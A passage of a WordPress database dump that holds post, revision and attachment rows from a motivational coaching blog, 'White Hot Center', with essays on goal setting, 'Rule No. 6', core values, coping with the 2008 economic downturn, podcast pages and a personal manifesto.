And without belief, you can have no faith and trust in the process of creating what you want. And without faith, you will not persist in the journey toward it, taking on all obstacles and set backs as evidence that your path is well chosen. And without perseverance, there can be no experience of “achievement”.&#0160; And with no achievement, there is no growth. If something in this physical realm isn’t growing, it’s dying. Goal setting and achievement can be intimidating stuff for many people!&#0160; I know it has been for me!</span><br /><span style="font-size: 12px; font-family: Arial;"><br /></span><span style="font-size: 12px; color: #434343; font-family: Arial;"><strong>Thankfully, there is Rule 6</strong>.</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">I first learned about Rule 6 reading the insightful book <a href="http://www.amazon.com/Art-Possibility-Transforming-Professional-Personal/dp/0875847706" target="_blank" title="Book store">The Art of Possibility written by Rosamund and Benjamin Zander.</a> Here’s the quick story:</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">Two important Prime Ministers are having important one-on-one discussions on matters of State.&#0160; Suddenly a frantic assistant burst into the room interrupting the Prime Ministers. One says to the frantic man. “Peter, may I remind you of Rule 6”.&#0160; Instantly Peter grows quiet and respectful. He bows and exits the room.&#0160; As the men resume their discussions, another assistant interrupts with the most urgent information. Again the Prime Minster responds by saying, “My dear madam, please remember Rule No.6”!&#0160;&#0160; Complete calm descends onto the woman and she leaves the room. </span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">After a third interruption played out a similar scene, the visiting Prime Minister turns to his colleague and exclaims, “ My dear friend, I have never witnessed such a thing in all my life! Would you kindly share the secret behind this Rule No. 6?&#0160; To which the other replied, “It’s very simple really. Rule No 6 is don’t take yourself so goddamn seriously”.</span><br /><span style="font-size: 12px; color: #434343; font-family: Arial;"><br />After a moment of pondering, the visiting Prime Minister inquires further, “What are the other rules?”</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">“There aren’t any”</span><br /><span style="font-size: 12px; font-family: Arial;"><br /><span style="font-size: 11px; color: #434343;">Note to self in the goal-setting process: LIGHTEN-UP!</span></span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">Would you not agree– to truly enjoy life, we must experience it in an easy and relaxed manner? Not taking ourselves too seriously puts a nice vibration into the formless goo where the non-physical form of our best ideas and aspirations reside. I suggest your goal setting process begin by contemplating how grateful you are for everything in your life experience thus far and then chill!&#0160; In a state of sincere gratitude, you will discover how amazingly your mental clarity and physical energy is increased to focus your talent and capability on new and bigger goals you may decide to pursue more vigorously this coming year.&#0160; In gratitude, you know you know all that is required to achieve your goal is readily available. It makes the whole deal much easier!</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">Perhaps this might be the year, to decide to set goals that are more centered in giving back to others or to the planet than in our own achievement and advancement. </span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">Finally, if you are setting some new goals, set yourself up for success rather than disappointment.&#0160; Commit to only one important goal / idea / vision for your personal and professional life. That’s two important goals you would like to achieve in physical form in 2009. Remember it must be a goal that you truly love, believe is doable and will really stretch you. Then simply move yourself in that direction and along the way remember Rule No 6.</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">I wish all of you a Happy New Year with expanding success and well being in every area of your life!</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">ps. In case you’re curious, here are my two primary 2009 goals:</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">Personal:</span><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">put more focus, energy and time to sustain abundant good health and well-being through the habit of regular exercise and more healthful eating.</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">Professional: </span><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">learning to be a more disciplined writer by completing my book so it may serve others.</span><br /><br /><span style="font-size: 12px; color: #434343; font-family: Arial;">Please feel free to share yours in the comments…</span><br /></div><br /></div>\n', 'My year-end rant and Rule No.6', 0, 'Of course, the year-end seems to be the quintessential time for reflection and goal-setting that many people embrace, and I am no exception. I don’t know if it’s just me, but year-end goal setting can seemingly feel like this big...\n', 'inherit', 'open', 'open', '', '15-revision', '', '', '2008-12-31 12:50:20', '2008-12-31 19:50:20', '', 15, 'http://www.whitehotcenter.com/15-revision', 0, 'revision', '', 0),
(113, 1, '2009-04-04 17:07:50', '2009-04-05 00:07:50', '', 'do-over', 0, '', 'inherit', 'open', 'open', '', 'do-over', '', '', '2009-04-04 17:07:50', '2009-04-05 00:07:50', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2008/11/do-over.jpg', 0, 'attachment', 'image/jpeg', 0),
(118, 1, '2008-10-30 18:06:08', '2008-10-31 01:06:08', '<p><a href="http://whc.fbdev.org/.a/6a00d834d6625a69e2010535c6493f970b-pi" style="display: inline;"><img alt="Goodwork018" border="0" class="at-xid-6a00d834d6625a69e2010535c6493f970b image-full " src="http://whc.fbdev.org/.a/6a00d834d6625a69e2010535c6493f970b-800wi" style="width: 541px; height: 585px;" title="Goodwork018" /></a>\n</p><p>I wanted to share a post from <a href="http://www.boxofcrayons.biz" target="_blank" title="website">Michael Bungay Stanier, CEO of Box of Crayons</a></p><p></p><p>It&#39;s a very useful insight&#0160; on the importance of finding the balance of bad, good, and great work in your life. In every area of life this dance plays out...wittingly or not. </p><p>check it out <a href="http://www.knowledgecrush.com/index.php?option=com_wrapper&amp;Itemid=195" target="_blank" title="blog">here. <br /></a></p><p>The illustration above is current snap-shot as to where my scene is.&#0160; Way too much good work (think get by, pay bills, manage process) not enough great work (think passion, fire, purpose, meaning). It&#39;s about a 3:1 ratio... I want 1:1 as best as possible... It is a great reminder that where I &#39;m headed, one must spend more time,money and bandwidth on great work! I love spending my day here in the grove writing the blog, working with clients I love, writing music and adding value to people&#39;s lives... that&#39;s my great work. What&#39;s yours? ...let me know in the comments section what you think. I sure hope you enjoy it.</p>\n', 'Good Work or Great Work?', 0, 'I wanted to share a post from Michael Bungay Stanier, CEO of Box of Crayons It''s a very useful insight on the importance of finding the balance of bad, good, and great work in your life. In every area of...\n', 'inherit', 'open', 'open', '', '18-revision', '', '', '2008-10-30 18:06:08', '2008-10-31 01:06:08', '', 18, 'http://www.whitehotcenter.com/18-revision', 0, 'revision', '', 0),
(117, 1, '2009-04-04 17:18:14', '2009-04-05 00:18:14', '', 'goodvsgreat', 0, '', 'inherit', 'open', 'open', '', 'goodvsgreat', '', '', '2009-04-04 17:18:14', '2009-04-05 00:18:14', '', 18, 'http://www.whitehotcenter.com/wp-content/uploads/2008/10/goodvsgreat.jpg', 0, 'attachment', 'image/jpeg', 0),
(120, 1, '2009-08-03 15:27:13', '2009-08-03 22:27:13', '<img title="values" src="http://whc.fbdev.org/wp-content/uploads/2008/10/values.jpg" alt="values" width="390" height="157" />\n<h2><span style="color: #ff6600;">In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by this company as something unique, valuable and different from all other alternatives.  As a result, I was reminded of how important our individual core values (what is most important to us) are at defining who we are as individuals and the value we bring to the world.</span></h2>\nJust like business organizations, governments, and societies, individuals are defined in the world by what they value most. What is held sacred defines who you are (your identity, brand, persona), and what you do (choices, behaviors and results) in the physical world. Core values are sacred. This implies they are formed within you by your divine nature. They are not arbitrary ideas that form outside of you, solely the result of your conditioning. Your core values are the “holy of holies” of who and what you are in the physical world. Your core values seldom change with the whims of the outer world. Core values are the bedrock from which you perceive and build your life experiences. They are your spiritual DNA.\n\nIn my marketing and design practice, we help client organizations large and small craft a clear mental image of who they are and the value they create in the world. And because markets are dynamic and always changing, there is a tendency for some to adopt the popular values of conventional wisdom as a means of selling more stuff.  It is rare for this strategy to succeed over time. This leads to sameness, mediocrity and slow death.  The same holds true for individuals.\n<h2><span style="color: #ff6600;">Core values are the magnetic north of your existence. They guide you in an ever-changing world. Rather than change with conventional wisdom, core values strengthen your awareness and understanding of your unique contributions to the world. You are lost and adrift in life without their guidance.</span></h2>\nOf course, because life (like markets for goods and services) is a dynamic ever-changing force, sometimes we get turned around and disoriented in our approach and in our methods to create the success we desire.  Sometimes we lose track, in the urgency of living (paying bills, raising kids, running businesses) of what is important–really important to us. When we are not living from our own inner creed, we experience all manner of dis-ease–that eventually shows up in our physical bodies.\n\nWhen we connect deeply to what is important to us, we instantly and automatically sense greater potential for our lives. Our core values serve us in this way, illuminating and aligning our thoughts and actions in the direction of our heart’s desire. Our success becomes ever more grounded in that which is sacred only to us, and the value we bring to the world is but a reflection of our unique expression of divine nature.\n\nMy suggestion: make a habit of spending some portion of each day affirming what really matters to you.', 'Affirm what is important to you everyday.', 0, 'In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by...\n', 'inherit', 'open', 'open', '', '19-autosave', '', '', '2009-08-03 15:27:13', '2009-08-03 22:27:13', '', 19, 'http://www.whitehotcenter.com/19-autosave', 0, 'revision', '', 0),
(121, 1, '2009-04-04 17:22:53', '2009-04-05 00:22:53', '', 'values', 0, '', 'inherit', 'open', 'open', '', 'values', '', '', '2009-04-04 17:22:53', '2009-04-05 00:22:53', '', 19, 'http://www.whitehotcenter.com/wp-content/uploads/2008/10/values.jpg', 0, 'attachment', 'image/jpeg', 0),
(122, 1, '2008-10-21 15:51:59', '2008-10-21 22:51:59', '<p><a href="http://whc.fbdev.org/photos/uncategorized/2008/10/21/values.jpg"><img width="390" height="157" border="0" src="http://whc.fbdev.org/whitehotcenter2/images/2008/10/21/values.jpg" title="Values" alt="Values" style="margin: 0px 5px 5px 0px; float: left;" /></a></p><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><p><span style="font-size: 1.4em;color: #666600;">In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by this company as something unique, valuable and different from all other alternatives.&nbsp; As a result, I was reminded of how important our individual core values (what is most important to us) are at defining who we are as individuals and the value we bring to the world. </span></p>\n\n<!--more-->\n<p>Just like business organizations, governments, and societies, individuals are defined in the world by what they value most. What is held sacred defines who you are (your identity, brand, persona), and what you do (choices, behaviors and results) in the physical world. Core values are sacred. This implies they are formed within you by your divine nature. They are not arbitrary ideas that form outside of you, solely the result of your conditioning. Your core values are the “holy of holies” of who and what you are in the physical world. Your core values seldom change with the whims of the outer world. Core values are the bedrock from which you perceive and build your life experiences. They are your spiritual DNA.</p>\n\n<p>In my marketing and design practice, we help client organizations large and small craft a clear mental image of who they are and the value they create in the world. And because markets are dynamic and always changing, there is a tendency for some to adopt the popular values of conventional wisdom as a means of selling more stuff.&nbsp; It is rare for this strategy to succeed over time. This leads to sameness, mediocrity and slow death.&nbsp; The same holds true for individuals. Core values are the magnetic north of your existence. They guide you in an ever-changing world. Rather than change with conventional wisdom, core values strengthen your awareness and understanding of your unique contributions to the world. You are lost and adrift in life without their guidance.</p>\n\n<p>Of course, because life (like markets for goods and services) is a dynamic ever-changing force, sometimes we get turned around and disoriented in our approach and in our methods to create the success we desire.&nbsp; Sometimes we lose track, in the urgency of living (paying bills, raising kids, running businesses) of what is important–really important to us. When we are not living from our own inner creed, we experience all manner of dis-ease–that eventually shows up in our physical bodies.</p>\n\n<p>When we connect deeply to what is important to us, we instantly and automatically sense greater potential for our lives. Our core values serve us in this way, illuminating and aligning our thoughts and actions in the direction of our heart’s desire. Our success becomes ever more grounded in that which is sacred only to us, and the value we bring to the world is but a reflection of our unique expression of divine nature. </p>\n\n<p>My suggestion: make a habit of spending some portion of each day affirming what really matters to you.</p>\n', 'Affirm what is important to you everyday.', 0, 'In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by...\n', 'inherit', 'open', 'open', '', '19-revision', '', '', '2008-10-21 15:51:59', '2008-10-21 22:51:59', '', 19, 'http://www.whitehotcenter.com/19-revision', 0, 'revision', '', 0),
(124, 1, '2009-04-04 17:33:34', '2009-04-05 00:33:34', 'Two businessmen rowing through shark infested waters', '71555675', 0, '', 'inherit', 'open', 'open', '', '71555675', '', '', '2009-04-04 17:33:34', '2009-04-05 00:33:34', '', 20, 'http://www.whitehotcenter.com/wp-content/uploads/2008/10/rowinstorm.jpg', 0, 'attachment', 'image/jpeg', 0),
(125, 1, '2008-10-13 09:01:22', '2008-10-13 16:01:22', '<p><span style="font-size: 1.2em;color: #333399;"><a href="http://whc.fbdev.org/photos/uncategorized/2008/10/13/rowinstorm.jpg"><img width="390" height="267" border="0" src="http://whc.fbdev.org/whitehotcenter2/images/2008/10/13/rowinstorm.jpg" title="Rowinstorm" alt="Rowinstorm" style="margin: 0px 5px 5px 0px; float: left;" /></a><br />No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios.&nbsp; Everything and everyone seems to be at risk. Indeed, these are uncertain times, and for many people, there is a great deal of anxiety over this economic turmoil. Many people feel powerless and are at a loss to cope. There are however ways in which you can thrive in the midst of all this uncertainty. Here are several simple ideas I would like to suggest you consider that may help you weather the current stormy seas our world finds itself in right now.</span></p>\n\n<!--more-->\n<p><strong>Take a media fast.</strong></p>\n\n<p>Don’t listen to the radio, watch the television news or read the newspapers. This may sound a little over-simplified, but the truth is the media amplifies the inherent fear people have in this situation. Most of what goes on in the media is hype and overstatement. The media business is based on creating an overstated, sensationalized point of view. I am not suggesting that the media does not accurately report the facts.&nbsp; I am simply suggesting that the media amplifies the insecurity of the situation, and in many ways, is a distorted and biased lens that does not support a more balanced and neutral assessment of our current circumstances.&nbsp; It is far better for you to trust your own inner wisdom about your financial circumstances and not let any outside influences breed more uncertainty in your life. Do yourself a favor and go on a media fast.</p>\n\n<p><strong>Think about others, not yourself.</strong></p>\n\n<p>Uncertainty and fear drives people into an isolated point of view.&nbsp; A more useful approach is to focus on the areas of your life where you can be of value to others. Find ways to help instill confidence and light into people’s lives. This shifts your energy into a more useful vibration and puts you in a place of wisdom and service. Others will sense your confidence, steadfastness and contribution and this will take the focus off your own worry. In turn, you become a source of inspiration to others and the value you bring to them increases.<br /><strong><br />Focus on current opportunities and forget the future.</strong></p>\n\n<p>There is no future out there. Everything that is happening is happening now. There is always room, in any situation, for a better idea. Think about how, in your current circumstances, you can create new opportunities to do things differently. You might find any number of things to improve in your present situation that will set you up nicely for when things turn around–which they inevitably will do. You may take this time to learn new skills, develop greater financial disciplines, align your life priorities in a direction that serves you. This puts you in a position of strength and removes the illusion of weakness and powerlessness. There is always opportunity in every circumstance. Your power to create a result resides here and now. Forget the future.</p>\n\n<p><strong>Focus on creating more rewarding relationships.</strong></p>\n\n<p>In uncertain times, it is natural to worry about the commodity of our jobs, products, and businesses. We may put a great deal of worry into how vulnerable and replaceable we may be. In uncertain times, it is more useful to strengthen your relationships with people– your employer, your customer, your family, your community.&nbsp; By putting energy into the practice of strengthening all your relationships, you will add greater value to the people around you. In turn, the value of what you have to offer the world is increased. </p>\n\n<p><strong>Focus on what is available to you now, not what’s missing.</strong></p>\n\n<p>Uncertainty has a way of putting your focus on lack and limitation.&nbsp; When things adversely change around us, we tend to fixate on what is no longer available to us. A more useful strategy is to put your focus on what resources are available now. What skills, talents and inspired ideas can you use right now. Resourcefulness is a great discipline in times of uncertainty, and the results prove more powerful when things turn positive again.&nbsp; You have, whether you know it or not, all the resources within you to prosper no matter the outer circumstances. This idea is very empowering and puts you in a higher state of mind to be inspired to think of better, bigger ideas about creating value. Work with every resource at your disposal and your confidence and faith will grow.</p>\n\n<p><strong>You can’t control anything, don’t waste your precious energy trying</strong>.</p>\n\n<p>Regardless of what is happening in the world, you can’t control people, places or things. You can, however, control your responses to the events in your own life. Everything is a choice. Choosing to respond in a manner that serves you is a useful skill. There’s nothing like adversity to sharpen this life skill. In any circumstance, everyone has to make a basic decision: complain and bitch, or engage life with more creativity and ingenuity. It is always your choice. Life will always be full of surprises, twists, turns– it’s always going to be something. Change just is. In the light of your own inspired thought, you will soon recognize the freedom of just letting things outside yourself be and trust that, underneath it, all is well.</p>\n\n<p><strong>Always be in gratitude</strong>.</p>\n\n<p>This is the most important strategy you can employ in tough, uncertain times. No matter how bad it is, there is ALWAYS something in your life for which you can be grateful… start with the fact that you are still alive and able to play the game of life! A feeling of lack and limitation cannot exist within a mind that is focused on being grateful. Gratitude is an amazing tool for your best thinking to emerge and your results to transform your life.&nbsp; &nbsp;</p>\n', 'Ideas for thriving in uncertain times.', 0, 'No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios. Everything and everyone seems to be...\n', 'inherit', 'open', 'open', '', '20-revision', '', '', '2008-10-13 09:01:22', '2008-10-13 16:01:22', '', 20, 'http://www.whitehotcenter.com/20-revision', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(126, 1, '2009-04-04 17:34:29', '2009-04-05 00:34:29', '<img class="alignnone size-full wp-image-124" title="71555675" src="http://whc.fbdev.org/wp-content/uploads/2008/10/rowinstorm.jpg" alt="71555675" width="390" height="267" />\r\n<h2>No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios.  Everything and everyone seems to be at risk. Indeed, these are uncertain times, and for many people, there is a great deal of anxiety over this economic turmoil. Many people feel powerless and are at a loss to cope. There are however ways in which you can thrive in the midst of all this uncertainty. Here are several simple ideas I would like to suggest you consider that may help you weather the current stormy seas our world finds itself in right now.</h2>\r\n<strong>Take a media fast.</strong>\r\n\r\nDon’t listen to the radio, watch the television news or read the newspapers. This may sound a little over-simplified, but the truth is the media amplifies the inherent fear people have in this situation. Most of what goes on in the media is hype and overstatement. The media business is based on creating an overstated, sensationalized point of view. I am not suggesting that the media does not accurately report the facts.  I am simply suggesting that the media amplifies the insecurity of the situation, and in many ways, is a distorted and biased lens that does not support a more balanced and neutral assessment of our current circumstances.  It is far better for you to trust your own inner wisdom about your financial circumstances and not let any outside influences breed more uncertainty in your life. Do yourself a favor and go on a media fast.\r\n\r\n<strong>Think about others, not yourself.</strong>\r\n\r\nUncertainty and fear drives people into an isolated point of view.  A more useful approach is to focus on the areas of your life where you can be of value to others. Find ways to help instill confidence and light into people’s lives. This shifts your energy into a more useful vibration and puts you in a place of wisdom and service. Others will sense your confidence, steadfastness and contribution and this will take the focus off your own worry. In turn, you become a source of inspiration to others and the value you bring to them increases.\r\n<strong>\r\nFocus on current opportunities and forget the future.</strong>\r\n\r\nThere is no future out there. Everything that is happening is happening now. There is always room, in any situation, for a better idea. Think about how, in your current circumstances, you can create new opportunities to do things differently. You might find any number of things to improve in your present situation that will set you up nicely for when things turn around–which they inevitably will do. You may take this time to learn new skills, develop greater financial disciplines, align your life priorities in a direction that serves you. This puts you in a position of strength and removes the illusion of weakness and powerlessness. There is always opportunity in every circumstance. Your power to create a result resides here and now. Forget the future.\r\n\r\n<strong>Focus on creating more rewarding relationships.</strong>\r\n\r\nIn uncertain times, it is natural to worry about the commodity of our jobs, products, and businesses. We may put a great deal of worry into how vulnerable and replaceable we may be. In uncertain times, it is more useful to strengthen your relationships with people– your employer, your customer, your family, your community.  By putting energy into the practice of strengthening all your relationships, you will add greater value to the people around you. In turn, the value of what you have to offer the world is increased.\r\n\r\n<strong>Focus on what is available to you now, not what’s missing.</strong>\r\n\r\nUncertainty has a way of putting your focus on lack and limitation.  When things adversely change around us, we tend to fixate on what is no longer available to us. A more useful strategy is to put your focus on what resources are available now. What skills, talents and inspired ideas can you use right now. Resourcefulness is a great discipline in times of uncertainty, and the results prove more powerful when things turn positive again.  You have, whether you know it or not, all the resources within you to prosper no matter the outer circumstances. This idea is very empowering and puts you in a higher state of mind to be inspired to think of better, bigger ideas about creating value. Work with every resource at your disposal and your confidence and faith will grow.\r\n\r\n<strong>You can’t control anything, don’t waste your precious energy trying</strong>.\r\n\r\nRegardless of what is happening in the world, you can’t control people, places or things. You can, however, control your responses to the events in your own life. Everything is a choice. Choosing to respond in a manner that serves you is a useful skill. There’s nothing like adversity to sharpen this life skill. In any circumstance, everyone has to make a basic decision: complain and bitch, or engage life with more creativity and ingenuity. It is always your choice. Life will always be full of surprises, twists, turns– it’s always going to be something. Change just is. In the light of your own inspired thought, you will soon recognize the freedom of just letting things outside yourself be and trust that, underneath it, all is well.\r\n\r\n<strong>Always be in gratitude</strong>.\r\n\r\nThis is the most important strategy you can employ in tough, uncertain times. No matter how bad it is, there is ALWAYS something in your life for which you can be grateful… start with the fact that you are still alive and able to play the game of life! A feeling of lack and limitation cannot exist within a mind that is focused on being grateful. Gratitude is an amazing tool for your best thinking to emerge and your results to transform your life.', 'Ideas for thriving in uncertain times.', 0, 'No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios. Everything and everyone seems to be...\r\n', 'inherit', 'open', 'open', '', '20-revision-2', '', '', '2009-04-04 17:34:29', '2009-04-05 00:34:29', '', 20, 'http://www.whitehotcenter.com/20-revision-2', 0, 'revision', '', 0),
(130, 1, '2009-04-05 21:35:38', '2009-04-06 04:35:38', '', 'dooverbookcover1_2', 0, '', 'inherit', 'open', 'open', '', 'dooverbookcover1_2', '', '', '2009-04-05 21:35:38', '2009-04-06 04:35:38', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2008/09/dooverbookcover1_2.jpg', 0, 'attachment', 'image/jpeg', 0),
(133, 2, '2009-04-06 14:29:25', '2009-04-06 21:29:25', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg"><img class="alignnone size-full wp-image-3019" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg" alt="WHC Podcast Episodes" width="480" height="310" /></a>\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership and business development strategies. Topics focus on your professional development, lifestyle design, value creation and demand generation. Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>\r\n&nbsp;\r\n\r\n[ss_podcast title="WHC Podcasts List" content="episodes" series="whc" link_title="true"]', 'White Hot Center Podcasts–Listen & Learn!', 0, '', 'publish', 'closed', 'closed', '', 'pods', '', '', '2015-10-13 12:53:50', '2015-10-13 19:53:50', '', 0, 'http://www.whitehotcenter.com/?page_id=133', 2, 'page', '', 0),
(979, 1, '2010-07-01 18:35:31', '2010-07-02 01:35:31', '<img class="alignnone size-full wp-image-947" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.gif" alt="" width="450" height="285" />\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas, interviews and business development tips! Topics will focus on your professional development, lifestyle design, value creation and demand generation. Plus you''ll be able to get solid advice and inspiration from other highly successful creative entrepreneurs who have paved the way forward. Please share your comments with us!</span></h2>', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2010-07-01 18:35:31', '2010-07-02 01:35:31', '', 133, 'http://www.whitehotcenter.com/2010/07/01/133-revision-42/', 0, 'revision', '', 0),
(932, 2, '2010-06-28 15:56:59', '2010-06-28 22:56:59', '<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire you to create a new level of success in your business. Topics will focus on your professional development, lifestyle design, value creation and demand generation. Plus you''ll be able to get solid advice and inspiration from other highly successful creative entrepreneurs. Don''t forget to leave your comments!\r\n</span></h2>', 'WHC Podcasts–Listen & Learn', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2010-06-28 15:56:59', '2010-06-28 22:56:59', '', 133, 'http://www.whitehotcenter.com/2010/06/28/133-revision-23/', 0, 'revision', '', 0),
(534, 2, '2009-07-22 17:07:24', '2009-07-23 00:07:24', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/podmouth.gif"><img class="alignnone size-full wp-image-522" title="podmouth" src="http://whc.fbdev.org/wp-content/uploads/2009/04/podmouth.gif" alt="podmouth" width="450" height="339" /></a>This part of the site is currently under development. When this section is ready there''ll be plenty of exciting ideas for you. From here, you can access</span><span style="color: #ff6600;"> all the WhiteHotCenter podcasts and videocasts that we hope will be valuable to you.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">Stay tuned!</span></h2>', 'Listen & Learn', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-22 17:07:24', '2009-07-23 00:07:24', '', 133, 'http://www.whitehotcenter.com/133-revision-14/', 0, 'revision', '', 0),
(134, 1, '2009-04-06 14:28:51', '2009-04-06 21:28:51', '', 'pods', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-04-06 14:28:51', '2009-04-06 21:28:51', '', 133, 'http://www.whitehotcenter.com/133-revision', 0, 'revision', '', 0),
(135, 2, '2015-10-13 12:53:57', '2015-10-13 19:53:57', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg"><img class="alignnone size-full wp-image-3019" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Podcasts.jpg" alt="WHC Podcast Episodes" width="480" height="310" /></a>\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership and business development strategies. Topics focus on your professional development, lifestyle design, value creation and demand generation. Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>\r\n&nbsp;\r\n\r\n[ss_podcast title="WHC Podcasts List" content="episodes" series="whc" link_title="true"]', 'White Hot Center Podcasts–Listen & Learn!', 0, '', 'inherit', 'open', 'open', '', '133-autosave-v1', '', '', '2015-10-13 12:53:57', '2015-10-13 19:53:57', '', 133, 'http://www.whitehotcenter.com/133-autosave', 0, 'revision', '', 0),
(2701, 2, '2014-07-29 07:56:14', '2014-07-29 14:56:14', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'publish', 'open', 'open', '', 'whc-podcast-perseverance-is-the-key-to-making-it-rain', '', '', '2014-07-29 09:10:25', '2014-07-29 16:10:25', '', 0, 'http://www.whitehotcenter.com/?p=2701', 0, 'post', '', 2),
(924, 2, '2009-07-22 17:08:53', '2009-07-23 00:08:53', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/podmouth.gif"><img class="alignnone size-full wp-image-522" title="podmouth" src="http://whc.fbdev.org/wp-content/uploads/2009/04/podmouth.gif" alt="podmouth" width="450" height="339" /></a>This part of the site is currently under development. </span></h2>\r\n<h2><span style="color: #ff6600;">When this section is ready there''ll be plenty of exciting ideas for you. From here, you can access</span><span style="color: #ff6600;"> all the WhiteHotCenter podcasts and videocasts that we hope will inspire you to keep your focus on creating the future you desire.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">Stay tuned!</span></h2>', 'Listen & Learn', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2009-07-22 17:08:53', '2009-07-23 00:08:53', '', 133, 'http://www.whitehotcenter.com/2009/07/22/133-revision-15/', 0, 'revision', '', 0),
(136, 1, '2009-04-06 14:47:50', '2009-04-06 21:47:50', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg"><img class="alignnone size-full wp-image-3008" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg" alt="White Hot Center Manifesto" width="680" height="350" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. Presented here are my guiding principles that form my philosophy of life and business success and directs all my activities in my consulting practice.</span></h2>\r\n<h3><span style="color: #000000;"><strong>1 as you think, so it is</strong></span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h3>\r\n<h3><span style="color: #000000;"><strong>2</strong><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><em>\r\n<span style="color: #999999;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #999999;"> <strong>\r\n</strong></span></h3>\r\n<h3><span style="color: #000000;"><strong> 3</strong><strong> you must do what matters to you, and what you do must serve others</strong><em>\r\n<span style="color: #999999;">meaning + contribution = a life of significance.</span></em></span></h3>\r\n<h3><span style="color: #000000;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h3>\r\n<h3><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed 